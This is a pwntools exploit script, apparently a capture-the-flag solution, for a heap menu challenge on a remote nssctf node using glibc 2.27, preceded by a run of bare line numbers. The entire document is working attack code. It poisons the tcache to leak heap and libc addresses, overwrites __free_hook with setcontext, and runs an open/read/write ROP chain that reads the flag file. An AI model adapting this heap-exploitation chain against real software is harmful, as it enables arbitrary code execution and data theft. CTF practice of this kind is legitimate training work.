1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| from pwn import * context(os='linux', arch='amd64', log_level='debug')
p = remote("node4.anna.nssctf.cn",28768) libc = ELF("./libc-2.27.so")
def choice(choice): p.recvuntil("choice: ") p.sendline(str(choice))
def add(index,size): choice(1) p.recvuntil("Index: ") p.sendline(str(index)) p.recvuntil("Size: ") p.sendline(str(size)) def edit(index,content): choice(2) p.recvuntil("Index: ") p.sendline(str(index)) p.recvuntil("Content: ") p.sendline(content) def show(index): choice(3) p.recvuntil("Index: ") p.sendline(str(index)) def free(index): choice(4) p.recvuntil("Index: ") p.sendline(str(index))
def clean(): for i in range(7): add(0,0x78) for i in range(12): add(0,0x18) for i in range(14): add(0,0x68) add(0,0x58)
clean()
add(0,0x28) free(0) edit(0,p64(0)*2) free(0) add(0,0x28) show(0) p.recvuntil("Content: ") heap_base = u64(p.recv(6).ljust(8,b"\x00")) & 0xFFFFFFFFFFFFF000-0x1000 success("heap:" + hex(heap_base)) edit(0,p64(heap_base+0x10)) add(0,0x28) add(0,0x28) edit(0,p64(0)*4+p64(0x7000000)) free(0) show(0) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook'] system = libc_base + libc.sym['system'] setcontext = libc_base + libc.sym['setcontext'] + 53
add(0,0x48) edit(0,p64(0)*9) add(0,0x18) edit(0,p64(heap_base+0x50)) add(0,0x38) payload = p64(free_hook) payload += p64(heap_base + 0x2000) payload += p64(heap_base + 0x20a0) payload += p64(heap_base + 0x2000) payload += p64(heap_base + 0x1000) payload += p64(0) payload += p64(heap_base + 0x1000+0x58) edit(0,payload)
pop_rax_ret = libc_base+0x0000000000043ae8 pop_rdi_ret = libc_base+0x00000000000215bf pop_rsi_ret = libc_base+0x0000000000023eea pop_rdx_ret = libc_base+0x0000000000001b96 ret = libc_base+0x0000000000023eeb open1 = libc_base + libc.sym['open'] read = libc_base + libc.sym['read'] write = libc_base + libc.sym['write'] alarm = libc_base + libc.sym['alarm'] syscall = alarm+0x5 flag_addr = heap_base+0x2000
success("libc base:%s", hex(libc_base)) success("setcontext_53:%s", hex(setcontext)) success("free_hook:%s", hex(free_hook))
rop = p64(pop_rdi_ret)+p64(flag_addr) rop += p64(pop_rsi_ret)+p64(0) rop += p64(pop_rax_ret)+p64(2) rop += p64(syscall) rop += p64(pop_rdi_ret)+p64(3) rop += p64(pop_rsi_ret)+p64(flag_addr) rop += p64(pop_rdx_ret)+p64(0x30) rop += p64(pop_rax_ret)+p64(0) rop += p64(syscall) rop += p64(pop_rdi_ret)+p64(1) rop += p64(pop_rsi_ret)+p64(flag_addr) rop += p64(pop_rdx_ret)+p64(0x30) rop += p64(pop_rax_ret)+p64(1) rop += p64(syscall)
add(0,0x18) edit(0,p64(setcontext))
add(0,0x28) edit(0,b'./flag\x00\x00')
add(0,0x38) edit(0,p64(heap_base + 0x1000) + p64(ret))
add(0,0x58) edit(0,rop[:0x58]) add(0,0x78) edit(0,rop[0x58:])
add(0,0x48) free(0)
p.interactive()
|